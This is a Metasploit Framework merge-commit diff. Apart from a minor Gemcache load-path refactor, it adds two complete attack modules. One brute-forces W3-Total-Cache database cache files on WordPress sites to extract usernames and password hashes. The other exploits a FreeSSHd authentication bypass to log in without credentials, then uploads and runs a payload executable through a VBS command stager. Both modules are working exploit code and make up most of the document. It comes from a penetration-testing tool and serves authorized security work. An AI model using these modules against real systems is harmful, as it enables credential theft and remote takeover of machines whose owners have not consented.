Merge remote-tracking branch 'upstream/master' into msfconsole-grep
commit
7ca9a216f4
|
@ -11,6 +11,7 @@ class Gemcache
|
|||
@@gembase = ::File.join(@@msfbase, "lib/gemcache")
|
||||
@@gemarch = ( RUBY_PLATFORM =~ /mingw/ ? 'win32' : ( RUBY_PLATFORM =~ /x86_64.*linux/ ? 'linux64' : (RUBY_PLATFORM =~ /i\d86.*linux/ ? 'linux32' : 'unknown') ) )
|
||||
@@rubvers = '1.9.1'
|
||||
@@gempath = "#{@@gembase}/ruby/#{@@rubvers}"
|
||||
|
||||
def self.configure
|
||||
return if not ::File.exist?(@@gembase)
|
||||
|
@ -18,10 +19,11 @@ class Gemcache
|
|||
# The gemcache directory is a modified version of the output created by
|
||||
# $ bundle install --path=lib/gemcache from within the Pro environment
|
||||
|
||||
::Dir["#{@@gembase}/ruby/#{@@rubvers}/gems/*/lib"].each { |lib| $:.unshift(lib) }
|
||||
ENV['GEM_PATH'] = ENV['GEM_PATH'] ? "#{ENV['GEM_PATH']}:#{@@gempath}" : "#{@@gempath}"
|
||||
::Dir["#{@@gempath}/gems/*/lib"].each { |lib| $:.unshift(lib) }
|
||||
|
||||
if ENV['MSF_BUNDLE_BINARY_GEMS'].to_s.downcase =~ /^[yt1]/
|
||||
::Dir["#{@@gembase}/ruby/#{@@rubvers}/arch/#{@@gemarch}/*/lib"].each { |lib| $:.unshift(lib) }
|
||||
::Dir["#{@@gempath}/arch/#{@@gemarch}/*/lib"].each { |lib| $:.unshift(lib) }
|
||||
end
|
||||
|
||||
# Handle a specific corner case where SVN was used to update, but the installer is generation-1
|
||||
|
@ -32,7 +34,7 @@ class Gemcache
|
|||
::File.directory?( File.join( File.dirname(__FILE__), "..", "..", "..", "..", "apps", "pro") ) and # Confirmed
|
||||
::File.exists?( File.join( File.dirname(__FILE__), "..", "..", "..", "..", "apps", "pro", "ui", "script", "console") ) # Rails2 artifact
|
||||
# Load the arch-old gem directories before the system paths to get an updated pg gem
|
||||
::Dir["#{@@gembase}/ruby/#{@@rubvers}/arch-old/#{@@gemarch}/*/lib"].each { |lib| $:.unshift(lib) }
|
||||
::Dir["#{@@gempath}/arch-old/#{@@gemarch}/*/lib"].each { |lib| $:.unshift(lib) }
|
||||
|
||||
# Patch up the gem command to always return true for certain gems
|
||||
::Object.class_eval %q|
|
||||
|
|
|
@ -0,0 +1,123 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract',
|
||||
'Description' =>
|
||||
"The W3-Total-Cache Wordpress Plugin <= 0.9.24 can cache database statements
|
||||
and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards
|
||||
so it can be vulnerable. These cache files are in the webroot of the Wordpress
|
||||
installation and can be downloaded if the name is guessed. This modules tries to
|
||||
locate them with brute force in order to find usernames and password hashes in these
|
||||
files. W3 Total Cache must be configured with Database Cache enabled and Database
|
||||
Cache Method set to Disk to be vulnerable",
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '88744'],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Christian Mehlmauer <FireFart[at]gmail.com>', # Metasploit module
|
||||
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
|
||||
]
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'Wordpress root', '/']),
|
||||
OptString.new('TABLE_PREFIX', [ true, 'Wordpress table prefix', 'wp_']),
|
||||
OptInt.new('SITE_ITERATIONS', [ true, 'Number of sites to iterate', 25]),
|
||||
OptInt.new('USER_ITERATIONS', [ true, 'Number of users to iterate', 25]),
|
||||
OptString.new('WP_CONTENT_DIR', [ true, 'Wordpress content directory', 'wp-content'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def wordpress_url
|
||||
url = target_uri
|
||||
url.path << "/" if url.path[-1,1] != "/"
|
||||
url
|
||||
end
|
||||
|
||||
# Call the User site, so the db statement will be cached
|
||||
def cache_user_info(user_id)
|
||||
user_url = normalize_uri("/#{wordpress_url}?author=#{user_id}")
|
||||
begin
|
||||
send_request_cgi({ "uri" => user_url, "method" => "GET" })
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
vprint_error("Unable to connect to #{url}")
|
||||
return nil
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
vprint_error("Unable to connect to #{url}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
users_found = false
|
||||
|
||||
for site_id in 1..datastore["SITE_ITERATIONS"] do
|
||||
vprint_status("Trying site_id #{site_id}...")
|
||||
for user_id in 1..datastore["USER_ITERATIONS"] do
|
||||
vprint_status("Trying user_id #{user_id}...")
|
||||
# used to cache the statement
|
||||
cache_user_info(user_id)
|
||||
query="SELECT * FROM #{datastore["TABLE_PREFIX"]}users WHERE ID = '#{user_id}'"
|
||||
query_md5 = ::Rex::Text.md5(query)
|
||||
host = datastore["VHOST"] || ip
|
||||
key="w3tc_#{host}_#{site_id}_sql_#{query_md5}"
|
||||
key_md5 = ::Rex::Text.md5(key)
|
||||
hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}"
|
||||
url = normalize_uri("/#{wordpress_url}#{datastore["WP_CONTENT_DIR"]}/w3tc/dbcache#{hash_path}")
|
||||
|
||||
result = nil
|
||||
begin
|
||||
result = send_request_cgi({ "uri" => url, "method" => "GET" })
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("Unable to connect to #{url}")
|
||||
break
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
print_error("Unable to connect to #{url}")
|
||||
break
|
||||
end
|
||||
|
||||
if result.nil? or result.body.nil?
|
||||
print_error("No response received")
|
||||
break
|
||||
end
|
||||
|
||||
match = result.body.scan(/.*"user_login";s:[0-9]+:"([^"]*)";s:[0-9]+:"user_pass";s:[0-9]+:"([^"]*)".*/)[0]
|
||||
unless match.nil?
|
||||
print_good("Username: #{match[0]}")
|
||||
print_good("Password Hash: #{match[1]}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => ssl ? "https" : "http",
|
||||
:user => match[0],
|
||||
:pass => match[1],
|
||||
:active => true,
|
||||
:type => "hash"
|
||||
)
|
||||
users_found = true
|
||||
end
|
||||
end
|
||||
end
|
||||
print_error("No users found :(") unless users_found
|
||||
end
|
||||
end
|
|
@ -0,0 +1,153 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'tempfile'
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Freesshd Authentication Bypass",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass
|
||||
authentication. You just need the username (which defaults to root). The exploit
|
||||
has been tested with both password and public key authentication.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Aris', # Vulnerability discovery and Exploit
|
||||
'kcope', # 2012 Exploit
|
||||
'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-6066' ],
|
||||
[ 'OSVDB', '88006' ],
|
||||
[ 'BID', '56785' ],
|
||||
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2012-12/0012.html' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Aug/132' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Aug 11 2010",
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Freesshd <= 1.2.6 / Windows (Universal)', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RPORT', [false, 'The target port', 22]),
|
||||
OptString.new('USERNAMES',[true,'Space Separate list of usernames to try for ssh authentication','root admin Administrator'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def load_netssh
|
||||
begin
|
||||
require 'net/ssh'
|
||||
return true
|
||||
rescue LoadError
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
banner = sock.recv(30)
|
||||
disconnect
|
||||
if banner =~ /SSH-2.0-WeOnlyDo/
|
||||
version=banner.split(" ")[1]
|
||||
return Exploit::CheckCode::Vulnerable if version =~ /(2.1.3|2.0.6)/
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
def upload_payload(connection)
|
||||
exe = generate_payload_exe
|
||||
filename = rand_text_alpha(8) + ".exe"
|
||||
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
|
||||
opts = {
|
||||
:linemax => 1700,
|
||||
:decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"),
|
||||
}
|
||||
|
||||
cmds = cmdstager.generate(opts)
|
||||
|
||||
if (cmds.nil? or cmds.length < 1)
|
||||
print_error("The command stager could not be generated")
|
||||
raise ArgumentError
|
||||
end
|
||||
cmds.each { |cmd|
|
||||
ret = connection.exec!("cmd.exe /c "+cmd)
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
def setup_ssh_options
|
||||
pass=rand_text_alpha(8)
|
||||
options={
|
||||
:password => pass,
|
||||
:port => datastore['RPORT'],
|
||||
:timeout => 1,
|
||||
:proxies => datastore['Proxies'],
|
||||
:key_data => OpenSSL::PKey::RSA.new(2048).to_pem
|
||||
}
|
||||
return options
|
||||
end
|
||||
|
||||
def do_login(username,options)
|
||||
print_status("Trying username "+username)
|
||||
options[:username]=username
|
||||
|
||||
transport = Net::SSH::Transport::Session.new(datastore['RHOST'], options)
|
||||
auth = Net::SSH::Authentication::Session.new(transport, options)
|
||||
auth.authenticate("ssh-connection", username, options[:password])
|
||||
connection = Net::SSH::Connection::Session.new(transport, options)
|
||||
begin
|
||||
Timeout.timeout(10) do
|
||||
connection.exec!('cmd.exe /c echo')
|
||||
end
|
||||
rescue RuntimeError
|
||||
return nil
|
||||
rescue Timeout::Error
|
||||
print_status("Timeout")
|
||||
return nil
|
||||
end
|
||||
return connection
|
||||
end
|
||||
|
||||
def exploit
|
||||
#
|
||||
# Load net/ssh so we can talk the SSH protocol
|
||||
#
|
||||
has_netssh = load_netssh
|
||||
if not has_netssh
|
||||
print_error("You don't have net/ssh installed. Please run gem install net-ssh")
|
||||
return
|
||||
end
|
||||
|
||||
options=setup_ssh_options
|
||||
|
||||
connection = nil
|
||||
|
||||
usernames=datastore['USERNAMES'].split(' ')
|
||||
usernames.each { |username|
|
||||
connection=do_login(username,options)
|
||||
break if connection
|
||||
}
|
||||
|
||||
if connection
|
||||
print_status("Uploading payload. (This step can take up to 5 minutes. But if you are here, it will probably work. Have faith.)")
|
||||
upload_payload(connection)
|
||||
handler
|
||||
end
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue